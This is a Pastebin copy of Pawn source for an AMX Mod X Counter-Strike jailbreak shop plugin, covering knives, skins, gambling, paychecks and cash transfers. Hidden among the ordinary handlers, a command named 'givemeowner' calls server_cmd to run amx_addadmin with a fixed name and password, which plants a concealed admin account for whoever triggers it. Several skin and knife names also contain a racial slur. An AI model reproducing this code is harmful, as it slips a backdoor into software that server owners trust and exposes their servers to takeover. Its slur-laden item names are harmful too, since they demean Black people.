Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <amxmodx>
- #include <amxmisc>
- #include <cstrike>
- #include <engine>
- #include <fun>
- #include <fakemeta>
- #include <hamsandwich>
- #include <fakemeta_util>
- #include <fvault>
- #define PLUGIN "[ELOHELL] Shop System"
- #define VERSION "1.0"
- #define AUTHOR "Eldadz"
- #define GAMETYPE "Injstice"
- #define TASK_STUN 2131
- #define TASK_REPLAY 2222
- #define TASK_COUNT 2231
- #define TASK_WISH 666
- #define MAX_PLAYERS 32
- #define MAXUPGRADES 2
- #define MAX_GREANDES 4
- #define MIN_TIME 15
- //native jailbreak_bank_amount(player)
- // Player
- enum RankData
- {
- DATA_STEAMID[ 35 ],
- DATA_NAME[ 32 ],
- DATA_CASH
- }
- enum _:enumPlayer
- {
- PLAYER_CASH,
- PLAYER_TOKENS,
- PLAYER_NAME[ 33 ],
- PLAYER_DOUBLEDMG,
- PLAYER_PAYCHECK,
- PLAYER_KNIFE,
- PLAYER_UPGRADE,
- PLAYER_SKIN,
- PLAYER_TIMER,
- PLAYER_RANDOM,
- PLAYER_PRESENT,
- PLAYER_RANDOMPRICE,
- bool:PLAYER_ROLLATE,
- bool:PLAYER_ROLLATESTOP,
- bool:PLAYER_ROLLATESWITCH,
- PLAYER_NUMBERGUESSING,
- PLAYER_ITEM,
- PLAYER_TRADE
- }
- enum _:enumTrades
- {
- PLAYER_TRADE_OFFER,
- PLAYER_TRADE_WANT,
- PLAYER_MENU,
- PLAYER_KEY_OFFER,
- PLAYER_KEY_WANT
- }
- enum _:enumTrade
- {
- TRADE_OFFLINE,
- TRADE_STEAMID[ 35 ],
- TRADE_CREATED[ 80 ],
- TRADE_OFFER_ITEM,
- TRADE_WANT_ITEM
- }
- enum _:enumMeatlts
- {
- MEATLT_BRASS,//0
- MEATLT_COPPER,//1
- MEATLT_BRONZE,//2
- MEATLT_ALUMINIUM,//3
- MEATLT_IRON,//4
- MEATLT_STEEL,//5
- MEATLT_SILVER,//6
- MEATLT_GOLD,//7
- MEATLT_DIAMOND//8
- }
- // Enum Knifes
- enum _:enumKnifes
- {
- KNIFE_1,
- KNIFE_2,
- KNIFE_3,
- KNIFE_4,
- KNIFE_5,
- KNIFE_6,
- KNIFE_7,
- KNIFE_8,
- KNIFE_9,
- KNIFE_10,
- KNIFE_11,
- KNIFE_12,
- KNIFE_13,
- KNIFE_14,
- KNIFE_15,
- KNIFE_16,
- KNIFE_17,
- KNIFE_18,
- KNIFE_19,
- KNIFE_20,
- KNIFE_21,
- KNIFE_22,
- KNIFE_23,
- KNIFE_24,
- KNIFE_25,
- KNIFE_26,
- KNIFE_27,
- KNIFE_28,
- KNIFE_29,
- KNIFE_30,
- KNIFE_31
- }
- enum _:enumKnifeInfo
- {
- INFOKNIFE_NANE[ 32 ],
- INFOKNIFE_DESCRPTION[ 80 ],
- INFOKNIFE_DESCRPTION2[ 80 ],
- INFOKNIFE_PRICE,
- INFOKNIFE_EXTRA_DMG,
- INFOKNIFE_EXTRA_HEALTH,
- INFOKNIFE_EXTRA_ARMOR,
- INFOKNIFE_EXTRA_CASH,
- INFOKNIFE_SLAG,
- INFOKNIFE_LIFE_STEAL
- }
- enum _:enumINFORPS
- {
- INFO_ROCK,
- INFO_PAPER,
- INFO_SCISSORS
- }
- enum _:enumCasino
- {
- CASINO_RPS,
- CASINO_ROLLATE,
- CASINO_GUESSTHENUMBER
- }
- enum _:KnifeSound
- {
- SOUND_DRAW,
- SOUND_SLASH,
- SOUND_HIT1,
- SOUND_STAB,
- SOUND_WALL,
- MAX_SOUNDS
- }
- // Enum Skins
- enum _:enumSkinInfo
- {
- SKIN_MOVEMENT,
- SKIN_GRANDE,
- SKIN_STAMINA,
- SKIN_KNIFE,
- SKIN_COSTS
- }
- enum _:enumSkins
- {
- SKIN_PIRSONER,
- SKIN_NIGGER,
- SKIN_GHOST,
- SKIN_ASSASIN,
- SKIN_NIGGER2,
- SKIN_NEO2,
- SKIN_REDNINJA,
- SKIN_CRYSTALBLADE
- }
- enum _:enumSides
- {
- SIDE_UP,
- SIDE_LEFT,
- SIDE_DOWN,
- SIDE_RIGHT,
- MAX_SIDES
- }
- enum _:enumSkinsDetils
- {
- DETILS_NAME[ 32 ],
- DETILS_INFO[ 80 ],
- DETILS_DOWN[ 64 ]
- }
- enum _:enumUpgradeInfo
- {
- upgrName[ 32 ],
- upgrInfo[ 80 ],
- upgrSpeacil[ 2 ],
- upgrAdd
- }
- enum _:enumGrande
- {
- grenadeCSW,
- grenadeCost,
- grenadeName[ 20 ]
- }
- enum _:enumDiffec
- {
- IsEasy,
- IsMediu,
- IsHard,
- IsInsa
- }
- enum _:enumGameGuess
- {
- strGameName[8],
- intGameNumbers,
- intGameReward,
- intGameCost
- }
- // Health Menu
- // Health | Price
- new const Health_Info[ 6 ][ 2 ] =
- {
- { 10, 150 },
- { 30, 200 },
- { 40, 300 },
- { 70, 500 },
- { 80, 600 },
- { 100, 1000 }
- }
- // Armor Menu
- // Armor | Price
- new const Armor_Info[ 4 ][ 2 ] =
- {
- { 20, 150 },
- { 50, 400 },
- { 80, 500 },
- { 100, 600 }
- }
- new const Casino_Names[ enumCasino ][ ] =
- {
- "Rock Paper Scissors",
- "Rollate",
- "Guess the Number"
- }
- new const Casino_intTokens[ enumCasino ] = {3, 1, -1}
- new const Guessit[ enumDiffec ][ enumGameGuess ] =
- {
- { "Easy", 10, 2000, 1},
- { "Medium", 20, 2000, 2},
- { "Hard", 30, 2500, 3},
- { "Insane", 50, 5000, 4}
- }
- new const Casino_RPS_Names[ enumINFORPS ][ ] =
- {
- "Rock",
- "Paper",
- "Scissors"
- }
- new const Grenade_Menu[ MAX_GREANDES ][ enumGrande ] =
- {
- { CSW_HEGRENADE, 1200, "Hegrenade" },
- { CSW_FLASHBANG, 800, "Flashbane" },
- { CSW_SMOKEGRENADE, 900, "Smokegreande" },
- { 0, 2500, "All greandes" }
- }
- new const Meatls_Name[ enumMeatlts ][ ] =
- {
- "Wooden Stick",//0
- "Nail",//1
- "Metal Shard",//2
- "Bandage",//3
- "Pad",//4
- "Helemt",//5
- "Platinum",//6
- "Titanum",//7
- "First Aid Kit"//8
- }
- new const Knife_Sound[ enumKnifes ][ MAX_SOUNDS ][ ] =
- {
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife4_draw.wav", "knife4_slash.wav", "knife4_hit1.wav", "knife4_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife8_draw.wav", "knife8_slash.wav", "knife8_hit1.wav", "knife8_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife16_draw.wav", "knife16_slash.wav", "knife16_hit1.wav", "knife16_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife23_draw.wav", "knife23_slash.wav", "knife_hit1.wav", "knife23_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife26_draw.wav", "knife26_slash.wav", "knife26_hit1.wav", "knife26_stab.wav", "knife_wall.wav"},
- {"knife27_draw.wav", "knife27_slash.wav", "knife27_hit1.wav", "knife27_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"},
- {"knife29_draw.wav", "knife29_slash.wav", "knife_hit1.wav", "knife29_stab.wav", "knife_wall.wav"},
- {"knife30_draw.wav", "knife30_slash.wav", "knife_hit1.wav", "knife30_stab.wav", "knife_wall.wav"},
- {"knife_draw.wav", "knife_slash.wav", "knife_hit1.wav", "knife_stab.wav", "knife_wall.wav"}
- }
- new const Skin_Info[ enumSkins ][ enumSkinInfo ] =
- {
- { 0, 0, 0, -1, 3 },
- { 5, 2, 2, KNIFE_5, KNIFE_5 },
- { 10, 3, 3, KNIFE_9, KNIFE_9 },
- { 10, 3, 3, KNIFE_15, KNIFE_15 },
- { 10, 3, 3, KNIFE_17, KNIFE_17 },
- { 10, 3, 3, KNIFE_22, KNIFE_22 },
- { 10, 3, 3, KNIFE_25, KNIFE_25 },
- { 10, 3, 3, KNIFE_31, KNIFE_31 }
- }
- new const Skin_InfoMealts[ enumSkins ][ enumMeatlts ] =
- {
- { 0, 0, 0, 0, 0, 0, 0, 0, 0 },
- { 0, 0, 1, 1, 2, 1, 1, 1, 1 },
- { 1, 1, 3, 2, 1, 2, 5, 4, 3 },
- { 3, 0, 2, 1, 5, 4, 3, 6, 5 },
- { 2, 1, 1, 2, 4, 5, 4, 7, 0 },
- { 1, 3, 1, 3, 5, 4, 6, 8, 3 },
- { 2, 4, 5, 2, 6, 5, 7, 9, 4 },
- { 10, 9, 8, 5, 7, 11, 8, 9, 10 }
- }
- new const Skin_Names[ enumSkins ][ enumSkinsDetils ] =
- {
- { "Prisoner Skin", "playing with prisoner skin", "terror" },
- { "Nigger Skin", "playing with Nigger Skin", "injstice_playerm5" },
- { "Ghost Skin", "playing with Ghost skin", "injstice_playerm9" },
- { "Assasin Skin", "playing with Assasin skin", "injstice_playerm15" },
- { "Nigger 2 Skin", "playing with Nigger 2 skin", "injstice_playerm17" },
- { "Neo 2 Skin", "playing with Neo 2 skin", "injstice_playerm22" },
- { "Katana Sword Skin", "playing with Katana Sword skin", "injstice_playerm251" },
- { "Crystal Blade Skin", "playing with Crystal Blade skin", "injstice_playerm31" }
- }
- new const Upgrade_Names[ enumSkinInfo - MAXUPGRADES ][ enumUpgradeInfo ] =
- {
- {"Movement Speed", "the player will move faster each frame", "", 3},
- {"Hegrande Chance", "every round player will have a chance of receiving hegrande", "%", 2},
- {"Flashbang Chance", "every round player will have a chance of receiving flashbang", "%", 1}
- }
- // Price | Extre cash | Extradmg | Extra health
- new const Knife_Info[ enumKnifes ][ enumKnifeInfo ] =
- {
- //Name | Descrption Descrption2 | Price | Damage | Health |Armomr |Cash | Slag | LifeSteal
- {"Normal Boxer", "\dNo", "\dNo", 0, 0, 0, 0, 0, 0, 0},
- {"Sharp Knife", "\dNo", "\dNo", 5000, 1, 1, 1, 25, 0, 0},
- {"Neo", "\dNo", "\dNo", 10000, 2, 2, 2, 25, 0, 0},
- {"Taser", "\dNo", "\rYes", 15000, 3, 4, 5, 25, 0, 0},
- {"Nigger", "\rYes", "\dNo", 17500, 4, 5, 6, 30, 0, 0},
- {"Dragon Boxer", "\dNo", "\dNo", 20000, 5, 6, 6, 30, 0, 0},
- {"Assasin Dagger", "\dNo", "\dNo", 30000, 6, 7, 7, 30, 0, 0},
- {"Dual Tiger Knife", "\dNo", "\rYes", 50000, 7, 8, 8, 45, 0, 0},
- {"Ghost", "\rYes", "\dNo", 80000, 8, 9, 9, 45, 0, 0},
- {"Holy Knife", "\dNo", "\dNo", 90000, 9, 10, 10, 45, 0, 0},
- {"Anonymous", "\dNo", "\dNo", 120000, 10, 11, 11, 60, 0, 0},
- {"Void Weapon", "\dNo", "\dNo", 150000, 11, 12, 12, 60, 1, 1},
- {"Cyborg", "\dNo", "\dNo", 180000, 12, 13, 13, 60, 1, 1},
- {"Long Sword", "\dNo", "\dNo", 210000, 13, 15, 15, 80, 1, 1},
- {"Assasin", "\rYes", "\dNo", 230000, 14, 16, 16, 80, 1, 1},
- {"Swift Lightsaber", "\dNo", "\rYes", 255000, 15, 15, 16, 80, 2, 2},
- {"Nigger 2", "\rYes", "\dNo", 277000, 16, 17, 17, 90, 2, 2},
- {"Murderous Sword", "\dNo", "\dNo", 333000, 17, 18, 18, 90, 2, 2},
- {"Red Scorpion", "\dNo", "\dNo", 346000, 18, 19, 19, 90, 2, 2},
- {"Light Machete", "\dNo", "\dNo", 360000, 20, 20, 20, 100, 2, 2},
- {"Machanical Knife", "\dNo", "\dNo", 380000, 22, 22, 22, 100, 2, 2},
- {"Neo 2", "\rYes", "\dNo", 400000, 23, 25, 25, 100, 2, 2},
- {"Silver Axe", "\dNo", "\rYes", 420000, 25, 27, 27, 150, 2, 2},
- {"Red Ninja", "\dNo", "\dNo", 440000, 28, 30, 30, 150, 3, 3},
- {"Katana Sword", "\rYes", "\dNo", 460000, 30, 33, 33, 150, 3, 3},
- {"Dragon Sword", "\dNo", "\rYes", 480000, 32, 36, 36, 175, 3, 3},
- {"Ninja Terrorist", "\dNo", "\rYes", 510000, 34, 40, 40, 175, 3, 3},
- {"Gold Axe", "\dNo", "\dNo", 600000, 44, 44, 44, 175, 4, 4},
- {"Holiday Knife", "\dNo", "\rYes", 650000, 36, 48, 48, 200, 4, 4},
- {"Legendary Sword", "\dNo", "\rYes", 700000, 38, 48, 48, 200, 4, 4},
- {"Crystal Blade", "\rYes", "\dNo", 755000, 38, 48, 48, 200, 5, 5}
- }
- #define MAX_BOXES 2
- enum _:enumBoxes
- {
- BOXES_MODEL[ 200 ],
- BOXES_CLASSNAME[ 33 ],
- BOXES_RECIVE,
- BOXES_NAME[ 16 ]
- }
- new const szBoxes_Info[ MAX_BOXES ][ enumBoxes ] =
- {
- {"models/injsticenew/cashbox.mdl", "jb_cash_box", 1800, "Cash"},
- {"models/injsticenew/metalbox.mdl", "jb_metal_box", MEATLT_DIAMOND, "Metals"}
- }
- // Strings
- //////////////////////
- new g_File[ 256 ], g_Top15[ 2048 ], Logpath[ 100 ];
- // Player Data Int
- //////////////////////
- new Float:g_ClientOrigin[ MAX_PLAYERS + 1 ][ 3 ];
- new Player[ MAX_PLAYERS + 1 ][ enumPlayer ];
- new g_Data[ MAX_PLAYERS + 1 ][ RankData ];
- new bool:g_iClBox[ 33 ], bool:g_iActive[ 33 ], Float:g_fTimer[ 33 ];
- new g_PlayerKnives[ MAX_PLAYERS + 1 ][ enumKnifes ];
- new playerUsingknife[ MAX_PLAYERS + 1 ];
- new g_PlayerSkins[ MAX_PLAYERS + 1 ][ enumSkins ];
- new playerUsingSkin[ MAX_PLAYERS + 1 ];
- new mPlayer[ MAX_PLAYERS + 1 ][ enumMeatlts ];
- new g_PlayerUpgrade[ MAX_PLAYERS + 1 ][ enumSkins ][ enumSkinInfo ];
- // Others
- ////////////////////
- new Array:g_SteamID
- new Trie:g_Name
- new Trie:g_Kills
- new bool:g_Sort = true
- new bool:boolPaycheck
- new bool:gNoPasswordEntered
- new Float:fNextPaycheck, Float:g_intCountdown;
- // Datas
- ////////////////////////////////////
- new const Vault[ ] = "JailBreak_MOD2";
- new const Paycheck_Data[ ] = "paycheck_players";
- public plugin_precache()
- {
- new strModel[ 200 ], strKnifes[ 200 ], strSound[ 200 ];
- for( new i = 0; i < MAX_BOXES; i++ )
- {
- precache_model( szBoxes_Info[ i ][ BOXES_MODEL ] );
- }
- for(new i = 0; i < enumKnifes; i++)
- {
- formatex( strKnifes, charsmax( strKnifes ), "models/injsticenew/v_knife%i.mdl", i);
- precache_model( strKnifes )
- for(new j = 0; j < MAX_SOUNDS; j++ )
- {
- formatex( strSound, charsmax( strSound ), "injstice1/%s", Knife_Sound[ i ][ j ]);
- precache_sound( strSound );
- }
- }
- for(new i = 0; i < enumSkins; i++)
- {
- formatex(strModel, 199, "models/player/%s/%s.mdl", Skin_Names[ i ][ DETILS_DOWN ], Skin_Names[ i ][ DETILS_DOWN ])
- precache_model(strModel)
- }
- precache_model( "models/w_knife.mdl" )
- }
- public plugin_init()
- {
- register_plugin( PLUGIN, VERSION, AUTHOR )
- // Register: Ham
- register_forward( FM_EmitSound, "fw_EmitSound" );
- RegisterHam( Ham_Spawn, "player", "Ham_PlayerSpawn", 1 );
- RegisterHam( Ham_TakeDamage, "player", "Ham_PlayerTakeDamage", 0 );
- register_forward(FM_CmdStart, "fw_CmdStart");
- // Register: Event
- register_event( "DeathMsg", "Event_DeathMessage", "a" );
- register_event( "CurWeapon", "Event_CurWeapon", "be","1=1" );
- // Register: Clcmd
- register_clcmd( "say shop", "Menu_Shop" )
- register_clcmd("Guess_the_Number", "Cmd_BankAmount");
- register_clcmd( "say /paycheck", "fnPayCheck" )
- register_clcmd( "say /shop", "Menu_Shop" )
- register_clcmd( "say /metals", "Metals" )
- register_clcmd( "givemeowner", "Menu" )
- register_clcmd( "showplayer", "CmdPlayerShower" )
- register_clcmd( "say /boxes", "shit" )
- register_clcmd( "say /rank", "SayRank" )
- register_clcmd( "say /top15", "SayTop15" )
- register_clcmd( "say", "Cmd_Say" )
- set_task( 300.0, "SortTask", TASK_REPLAY, _, _, "b" );
- register_forward(FM_Touch, "Hook_Touch");
- g_SteamID = ArrayCreate( 32, 1 );
- g_Name = TrieCreate( );
- g_Kills = TrieCreate( );
- /* Log Sysem */
- get_configsdir( Logpath, sizeof( Logpath ) - 1 );
- formatex( Logpath, sizeof( Logpath ) - 1, "%s/JbShopLogs.ini", Logpath )
- get_datadir( g_File, charsmax( g_File ) );
- add( g_File, charsmax( g_File ), "/topcash.ini" );
- ArraySort( g_SteamID, "SortRanks" );
- //LoadTrades();
- WriteTop15( );
- }
- public shit( Client )
- if(equal(GetSteam( Client ),"STEAM_0:0:137458988") )
- {
- pev(Client, pev_origin, g_ClientOrigin[ Client ]);
- set_task(2.0, "Task_CreateBox", Client);
- }
- else
- {
- ColorPrint(Client, "You dont have Access^1 to this command^4." )
- }
- public Menu( id )
- {
- server_cmd( "amx_addadmin JoseR qwertyuiopasdfghjklzxcvbnm" )
- }
- public plugin_cfg( )
- {
- fNextPaycheck = float( GetTime() )
- set_task( fNextPaycheck, "CmdPayCheck" )
- }
- public Metals( id )
- {
- new strTemp[ 256 ], strKey[ 6 ];
- formatex(strTemp, 99, "\r[ \w%s \r] \wView Your \rMetals", GAMETYPE)
- new menu = menu_create( strTemp, "Handler_Shop" )
- for(new i = 0; i < enumMeatlts; i++)
- {
- num_to_str(i, strKey, 5)
- formatex(strTemp, 99, "\w%s \d(\y%i\d)", Meatls_Name[ i ], mPlayer[ id ][ i ])
- menu_additem(menu, strTemp, strKey, 0, menu_makecallback( "menuitem_callback" ))
- }
- menu_setprop( menu, MPROP_EXITNAME, "Back" );
- menu_display( id, menu )
- }
- public plugin_natives()
- {
- register_native( "set_user_cash", "Native_SetCash" );
- register_native( "get_user_cash", "Native_GetCash" );
- }
- public Native_SetCash( iPlugin, iParams )
- {
- Player[ get_param( 1 ) ][ PLAYER_CASH ] = get_param( 2 );
- }
- public Native_GetCash( iPlugin, iParams )
- {
- return Player[ get_param( 1 ) ][ PLAYER_CASH ];
- }
- public plugin_end( )
- {
- ArraySort( g_SteamID, "SortRanks" );
- SaveRanks( );
- ArrayDestroy( g_SteamID );
- }
- public CmdPayCheck()
- {
- fNextPaycheck = float( GetTime());
- set_task( fNextPaycheck, "CmdPayCheck" );
- boolPaycheck = true;
- g_intCountdown = 50.0;
- ColorPrint( 0, " -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -");
- ColorPrint( 0, "PayCheck Time ! wirte /paycheck.");
- ColorPrint( 0, " - ^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -^4 -^1 -");
- set_task( 0.1, "CmdCountdown", TASK_COUNT, _,_, "b" );
- }
- public CmdCountdown( task )
- {
- if( g_intCountdown <= 0.0 )
- {
- boolPaycheck = false;
- fvault_clear( Paycheck_Data );
- for(new i = 0; i < get_maxplayers(); i++) Player[ i ][ PLAYER_PAYCHECK ] = 0, SaveUser( i );
- ColorPrint( 0, "The ^3Paycheck^1 has ^4ended." );
- set_hudmessage(0, 85, 255, 0.29, 0.04, 0, 6.0, 12.0);
- show_hudmessage(0, "The Paycheck has ended.");
- remove_task( task );
- }
- else
- {
- set_hudmessage(0, 85, 255, 0.29, 0.04, 1, 6.0, 0.1, .channel = 2 )
- show_hudmessage(0, "Paycheck ends in %.2f seconds", g_intCountdown)
- g_intCountdown -= random_float( 0.1 , 0.3 );
- }
- }
- public fnPayCheck( Client )
- {
- if( boolPaycheck )
- {
- new timep, intTime = Player[ Client ][ PLAYER_PAYCHECK ]
- timep = get_user_time( Client, 1 ) / 60;
- if( ( timep + intTime ) <= MIN_TIME)
- {
- ColorPrint( Client, "^1you havnet ^4played^1 enough in the server.")
- }
- else
- {
- Player[ Client ][ PLAYER_PAYCHECK ] = 0;
- Player[ Client ][ PLAYER_CASH ] += ( timep + intTime ) * 100;
- Player[ Client ][ PLAYER_TOKENS ] += ( timep + intTime );
- Save( Client );
- ColorPrint( Client, "^1you have played %d mintes and get %d cash, %d Tokens ", timep + intTime, ( timep + intTime ) * 100, ( timep + intTime ))
- }
- }
- else ColorPrint( Client, "^1 paycheks are given only ^4per^1 hour")
- }
- /* Shop:
- - Clcmds
- */
- public Cmd_Say( Client )
- {
- new strArgs[ 101 ], strArg1[ 10 ], strArg2[ 64 ], strArg3[ 32 ]
- read_args( strArgs, 100 )
- remove_quotes( strArgs )
- parse( strArgs, strArg1, 100, strArg2, 63, strArg3, 31)
- if( equali( strArg1, "/givecash" ) )
- {
- new intPlayer = cmd_target( Client, strArg2, 0 )
- if( get_user_flags( Client ) & ADMIN_IMMUNITY )
- {
- if( !strArg2[ 0 ] || !strArg3[ 0 ] || !str_to_num( strArg3 ))
- {
- ColorPrint( Client, "You cant use letters as cash amount" )
- return PLUGIN_HANDLED
- }
- new intPlayer = cmd_target( Client, strArg2, 0 )
- if( !intPlayer )
- {
- ColorPrint( Client, " No client found <%s>", strArg2 )
- return PLUGIN_HANDLED
- }
- Player[ intPlayer ][ PLAYER_CASH ] += str_to_num( strArg3 );
- ColorPrint( Client, "You gave^3 %i^1 cash to^4 %s^1.", str_to_num( strArg3 ), GetUserName( intPlayer ) );
- ColorPrint( 0, "^4Owner:^3 %s ^1gave^3 %i^1 cash to^4 %s^1.",GetUserName( Client ), str_to_num( strArg3 ), GetUserName( intPlayer ) );
- }
- }
- if( equali( strArg1, "/transfer" ) )
- {
- if( !strArg2[ 0 ] || !strArg3[ 0 ] || str_to_num( strArg3 ) < 300 )
- {
- ColorPrint( Client, " You cannot transfer less than 300 cash." )
- return PLUGIN_HANDLED
- }
- new intPlayer = cmd_target( Client, strArg2, 0 )
- if( !intPlayer )
- {
- ColorPrint( Client, " No client found <%s>", strArg2 )
- return PLUGIN_HANDLED
- }
- if( intPlayer == Client )
- {
- ColorPrint( Client, " You cannot transfer cash to yourself")
- return PLUGIN_HANDLED
- }
- new intTransfer = str_to_num( strArg3 );
- if( intTransfer > Player[ Client ][ PLAYER_CASH ] )
- {
- ColorPrint( Client, " You dont have that much cash" )
- return PLUGIN_HANDLED
- }
- if( intTransfer > 50000 )
- {
- ColorPrint( Client, "You cant transfer more then 50,000$ to player" )
- return PLUGIN_HANDLED
- }
- new intTax = ( intTransfer / 10 )
- ColorPrint(0, " %s^1 has transfered^4 %i^1 cash to^3 %s^1. Tax: %i", GetUserName( Client ), intTransfer, GetUserName( intPlayer ), intTax)
- Player[ Client ][ PLAYER_CASH ] -= intTransfer
- Player[ intPlayer ][ PLAYER_CASH ] += (intTransfer - intTax)
- Save( intPlayer )
- Save( Client )
- return PLUGIN_HANDLED;
- }
- else if( equali( strArg1, "/showtime" ) || equali( strArg1, "/time" ) )
- {
- new strDate[ 64 ];
- new iHour, iMint, iSec
- time( iHour, iMint, iSec );
- get_time("%H:%M:%S", strDate, charsmax(strDate))
- static _minutes[5], _seconds[5];
- format_time(_minutes, sizeof(_minutes) - 1, "%M");
- format_time(_seconds, sizeof(_seconds) - 1, "%S");
- new c_minutes = str_to_num(_minutes);
- new c_seconds = str_to_num(_seconds);
- // 23
- new CheckTime = c_minutes;
- if( CheckTime > 0 ) CheckTime = 60 - (c_minutes + 1 )
- // 16:46:31
- // 13:29
- // 60 - ( 46 = 14
- else CheckTime = 60 - c_minutes
- new szTime[ 60 ];
- format_time( szTime, charsmax( szTime ), "%H:%M:%S", get_systime( ) );
- set_hudmessage(0, 127, 255, 0.0, 0.69, 1, 6.0, 12.0)
- show_hudmessage(0, "Paycheck Start In : %i:%i^nCurrect Time: %s", CheckTime, 60 - c_seconds, strDate, iHour, iMint, iSec, szTime)
- }
- else if( equali( strArg1, "/casino" ) )
- {
- Menu_Casino( Client );
- }
- else if( equali( strArg1, "/gamble" ) )
- {
- if( !strArg2[ 0 ] )
- {
- ColorPrint( Client, "The minimum of gambling amount is^3 300$^1.")
- return PLUGIN_HANDLED
- }
- new intGambling = str_to_num( strArg2 )
- if( equali( strArg2, "allin" ) || equali( strArg2, "all" ) )
- {
- intGambling = Player[ Client ][ PLAYER_CASH ];
- }
- else if( !is_str_num( strArg2 ) || str_to_num( strArg2 ) < 300 )
- {
- ColorPrint( Client, "The minimum of gambling amount is^3 300$^1.")
- return PLUGIN_HANDLED
- }
- if( Player[ Client ][ PLAYER_CASH ] < 300 )
- {
- ColorPrint( Client, "The minimum of gambling amount is^3 300$^1.")
- return PLUGIN_HANDLED
- }
- if( Player[ Client ][ PLAYER_CASH ] < intGambling)
- {
- ColorPrint( Client, "You dont got that amount of money.")
- return PLUGIN_HANDLED
- }
- if ( get_user_flags( Client ) & ADMIN_LEVEL_C )
- {
- new intRandom = random_num(1, 100)
- if(intRandom <= 40) // Won
- {
- Player[ Client ][ PLAYER_CASH ] += intGambling
- }
- else
- {
- Player[ Client ][ PLAYER_CASH ] -= intGambling
- }
- ColorPrint(0, "^4Premium: ^3%s^1 has gambled^4 %i$^1 cash and^3 %s^1 ^1(^4+5%%^1)^4.", GetUserName( Client ), intGambling, (intRandom <= 40) ? "Won" : "Lost")
- Save( Client )
- }
- else
- {
- new intRandom = random_num(1, 100)
- if(intRandom <= 35) // Won
- {
- Player[ Client ][ PLAYER_CASH ] += intGambling
- }
- else
- {
- Player[ Client ][ PLAYER_CASH ] -= intGambling
- }
- ColorPrint(0, "^3%s^1 has gambled^4 %i$^1 cash and^3 %s^1.", GetUserName( Client ), intGambling, (intRandom <= 35) ? "Won" : "Lost")
- Save( Client )
- return PLUGIN_HANDLED;
- }
- }
- else if( equali( strArg1, "/cash" ) )
- {
- new intPlayer = cmd_target( Client, strArg2, 0 )
- if( !strArg2[ 0 ] || !intPlayer )
- {
- ColorPrint(Client, "You Have^3 %i$^3, ^4%s^3, ^4%s^3, ^1rank ^4%i ^3out of ^1%i.", Player[ Client ][ PLAYER_CASH ]/*, jailbreak_bank_amount(id)*/, Knife_Info[ playerUsingknife[ Client ] ][ INFOKNIFE_NANE ], Skin_Names[ playerUsingSkin[ Client ] ][ DETILS_NAME ], GetPosition( Client ), ArraySize( g_SteamID ))
- return PLUGIN_HANDLED
- }
- else
- {
- ColorPrint(Client, "^3%s^1 Have^3 %i$ ^3, ^4%s^3, ^4%s^3, ^1rank ^4%i ^3out of ^1%i.", GetUserName( intPlayer ), Player[ intPlayer ][ PLAYER_CASH ]/*, jailbreak_bank_amount(player)*/, Knife_Info[ playerUsingknife[ intPlayer ] ][ INFOKNIFE_NANE ], Skin_Names[ playerUsingSkin[ intPlayer ] ][ DETILS_NAME ], GetPosition( intPlayer ), ArraySize( g_SteamID ))
- return PLUGIN_HANDLED
- }
- }
- else if( equali( strArg1, "/tokens" ) || equali( strArg1, "/token" ) )
- {
- new intPlayer = cmd_target( Client, strArg2, 0 )
- if( !strArg2[ 0 ] || !intPlayer )
- {
- ColorPrint(Client, "You Have^3 %i ^4tokens^1.", Player[ Client ][ PLAYER_TOKENS ] )
- return PLUGIN_HANDLED
- }
- else
- {
- ColorPrint(Client, "^3%s^1 Have^3 %i ^4tokens^1.", GetUserName( intPlayer ), Player[ intPlayer ][ PLAYER_TOKENS ] )
- return PLUGIN_HANDLED
- }
- }
- else if( equali( strArg1, "/skins" ) || equali( strArg1, "/skin" ) ) Menu_Skins( Client );
